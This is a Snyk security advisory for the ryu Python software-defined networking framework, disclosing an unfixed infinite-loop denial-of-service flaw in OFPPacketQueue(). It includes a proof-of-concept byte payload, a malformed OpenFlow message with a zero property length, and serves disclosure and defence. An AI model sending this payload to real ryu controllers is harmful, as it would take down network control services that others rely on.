Infinite Loop Affecting ryu package, versions [0,]


0.0
medium

Snyk CVSS

    Attack Complexity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.04% (9th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-RYU-6809378
  • published 7 May 2024
  • disclosed 5 May 2024
  • credit Unknown

How to fix?

There is no fixed version for ryu.

Overview

ryu is a Component-based Software-defined Networking Framework

Affected versions of this package are vulnerable to Infinite Loop in the OFPPacketQueue() function in *parser.py. An attacker can cause denial of service by sending data with OFPQueueProp.len set to 0.

PoC

payload="\x04\x17\x00\x50\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x72\x00\x00\x00\x73\x00\x40\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x02\x00\x10\x00\x00\x00\x00\x03\x84\x00\x00\x00\x00\x00\x00\xff\xff\x00\x10\x00\x00\x00\x00\x00\x00\x03\xe7\x00\x00\x00\x00"

References